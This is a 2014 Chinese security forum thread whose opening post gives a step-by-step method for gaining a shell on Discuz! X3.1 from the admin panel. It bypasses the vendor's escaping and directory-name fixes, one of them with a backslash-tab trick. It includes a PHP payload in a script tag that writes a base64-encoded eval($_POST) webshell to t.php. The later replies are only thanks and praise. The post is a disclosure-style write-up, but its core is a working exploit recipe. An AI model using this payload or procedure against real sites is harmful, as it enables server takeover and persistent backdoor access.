查看: 23001|回复: 13

Discuz! X3.1后台拿shell

[复制链接]
  • TA的每日心情

    2024-12-14 22:22
  • 签到天数: 1631 天

    [LV.Master]伴坛终老

    发表于 2014-6-9 12:35:04 | 显示全部楼层 |阅读模式
    漏洞作者: 江南的鱼

    之前写的几个后台拿shell,Discuz!忽略了,但新版本Discuz! X3.1 Release 20140301实际上有所加强,但是真的修复了之前提到的问题吗?
    Discuz!大概做了下面几个改动:
    1.统计代码处,对 <? 中的尖括号做了转意“\&lt;”。
    2.首页文件名限制了".",有点时,返回【setting_functions_makehtml_indexname_invalid】,防止解析漏洞拿shell,。
    3.专题HTML文件的存放目录做了部分限制,如果“template/default/portal”,会提示【专题HTML文件的存放目录只能包含字母、数字、下划线(_)和\,请确认存放目录的合法性】
    看似很完美,难道就真的没办法拿到shell嘛,难道真的修复了之前拿shell的方法,其实不然。
    前面先说下,既然"<? ?>"和 "<?php ?>" 的被转意了,那就用 <script language="PhP"></script>,经过测试,尖括号未被转意。

    下面来重现过程:
    1.先上传一张版本图:
    20140609122548.jpg
    2. 全局->站点信息->网站第三方统计代码, 里面插入我们要执行的php代码,如下:
    [AppleScript] 纯文本查看 复制代码
    <script language="PhP">fputs(fopen('t.php',w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2NdKTs/Pg=="));</script>

    20140609122704.jpg
    3.工具 -> 更新缓存, 更新下缓存吧
    4.门户 -> HTML管理,来设置专题HTML存放目录 ,这里就是厂家修复的地方,可惜没修复好,如果我们将目录设置成‘template/default/portal’,会返回‘专题HTML文件的存放目录只能包含字母、数字、下划线(_)和\,请确认存放目录的合法性,返回’。看似完美,其实不然。
    1)生成HTML ,选 ‘是’;

    2)静态文件扩展名,设置成 ‘htm’;

    3)专题HTML存放目录,这里需要注意,设置成 ‘\template/default/portal’;【不会设置的,可以直接复制单引号里面的】,点提交。
    20140609122822.jpg
    也许要问为啥“template/default/portal”,而“\template/default/portal”就能保存成功,这因为 ‘\t’ 解析成了水平制表符,从而绕过了对‘template/default/portal’目录的设置限制。换句话说,判断这个目录的函数 得到的路径是‘emplate/default/portal’,在和‘template/default/portal’进行匹配比较,肯定是不相等的,将‘\template/default/portal’再带入路径中去,就得到了保存路径为‘template/default/portal’,所以绕过了目录保存限制。

    5. 门户--〉专题管理--〉创建专题:

    1)专题标题:xyz // 这个随便你写了

    2)静态化名称:portal_topic_222 //222为自定义文件名,自己要记住

    3)附加内容:选择上: 站点尾部信息
    20140609122942.jpg
    3)提交
    4)回到门户--〉专题管理,把刚才创建的专题开启,如下图 :
    20140609123037.jpg
    5)把刚才的专题,生成
    20140609123137.jpg
    6. 下面就是关键了,现在到了包含文件的时候了。
    再新建一个专题:

    1)专题标题,静态化名称,这2个随便写

    2)模板名:这个要选择我们刚才生成的页面:./template/default/portal/portal_topic_222.htm
    20140609123323.jpg
    3)然后提交,就执行了
    [AppleScript] 纯文本查看 复制代码
    <script language="PhP">fputs(fopen('t.php',w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2NdKTs/Pg=="));</script>

    20140609123435.jpg
    回复

    使用道具 举报

  • TA的每日心情
    无聊
    2016-3-29 19:40
  • 签到天数: 3 天

    [LV.2]偶尔看看I

    发表于 2014-6-9 12:43:23 | 显示全部楼层
    攒下,顶楼。哈哈
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-6-9 12:46:14 | 显示全部楼层
    好像哪里看到过 顶一下~ 感谢分享
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2017-1-11 08:26
  • 签到天数: 53 天

    [LV.5]常住居民I

    发表于 2014-6-9 14:53:29 | 显示全部楼层
    写的很详细,感谢分享
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-6-9 18:02:24 | 显示全部楼层
    收藏了  
    回复 支持 反对

    使用道具 举报

    头像被屏蔽

    该用户从未签到

    发表于 2014-6-9 19:15:28 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    回复 支持 反对

    使用道具 举报

    头像被屏蔽

    该用户从未签到

    发表于 2014-6-9 19:15:57 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    慵懒
    2016-7-6 16:30
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2014-6-9 20:31:38 | 显示全部楼层
    为何这么叼
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-6-10 16:09:06 | 显示全部楼层
    很详细。 收藏了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-6-10 16:24:08 | 显示全部楼层
    看帖回复是一种姿态。
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-12-24 00:41 , Processed in 0.028012 second(s), 17 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部